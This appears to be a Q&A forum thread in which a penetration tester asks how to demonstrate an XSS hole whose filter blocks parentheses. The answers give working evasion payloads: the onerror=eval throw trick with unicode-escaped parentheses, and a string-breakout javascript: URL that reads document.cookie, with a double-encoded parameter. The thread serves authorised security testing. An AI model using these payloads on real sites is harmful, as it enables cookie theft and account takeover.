1

I have found that Cross Site Scripting vulnerability in a client's application. The problem is that the vulnerable parameter does not accept parentheses. So something like alert(document.cookie) will be rejected because of parentheses. I can get XSS using alert `xss` but I my client requires a proof of being able to access the DOM.

In other words, How can I alert(document.cookie) without parentheses , are there any alternatives?

Thanks!

2
  • There are no alternatives for a method call. However through the careful application of an implicit eval there does not need for parenthesis to appear in source code - and not all code requires parenthesis to do 'interesting' things. I'm not sure how the conclusion relates to XSS though.. Nov 30, 2016 at 21:38
  • XSS Filter Evasion Cheat Sheet includes a number of techniques including ones that avoid parenthesis (certain conditions apply).
    – Ouroborus
    Nov 30, 2016 at 21:47

2 Answers 2

6

document.body.innerHTML=document.cookie will display the cookies on the page itself.

Speaking of the XSS vulnerability: Yes, it is vulnerable and disabling parentheses will just force attackers to use more creative methods. Letting someone execute any arbitrary code is a liability.

Here's a simple example of how you can call any function with any parameters without using any parentheses in your input:

<p>Malicious input: window.onerror=eval;throw '=1;alert\u0028document.location\u0029'</p>

<input type="button" onclick="window.onerror=eval;throw '=1;alert\u0028document.location\u0029'" value="Click me">

0

This is another solution that worked for me:

<script>
var firstname = 'aa';document.location='javascript:alert%28document.cookie%29';//';
</script>

The payload would be:

?vulnparam=aa';document.location='javascript:alert%2528document.cookie%2529';//

@tcooc answer is also working.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.